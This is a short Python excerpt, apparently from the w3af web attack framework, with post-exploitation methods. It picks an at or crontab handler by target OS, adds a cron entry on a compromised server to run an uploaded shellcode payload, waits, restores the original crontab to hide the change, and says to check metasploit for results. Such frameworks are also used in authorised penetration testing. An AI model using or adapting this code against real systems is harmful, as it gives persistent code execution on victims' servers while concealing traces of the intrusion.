def getDelayedExecutionHandler( self ):
os = osDetectionExec( self._execMethod )
if os == 'windows':
return atHandler( self._execMethod )
elif os == 'linux':
return crontabHandler( self._execMethod )
else:
raise w3afException('Failed to create a delayed execution handler.')
def _exec_payload( self, remote_filename ):
'''
This method should be implemented according to the remote operating system. The idea here is to
execute the payload that was sent using _send_exe_to_server and generated by _generate_exe . In lnxVd
I should run "chmod +x file; ./file"
@return: None
'''
cH = crontabHandler( self._exec_method )
if not cH.canDelay():
msg = '[lnxVd] Failed to create cron entry.'
om.out.debug( msg )
raise w3afException( msg )
else:
waitTime = cH.addToSchedule( remote_filename )
om.out.console('Crontab entry successfully added. Waiting for shellcode execution.')
time.sleep( waitTime + 3 )
om.out.debug('Shellcode successfully executed, restoring old crontab.')
cH.restoreOldSchedule()
om.out.debug('All done, check metasploit for results.')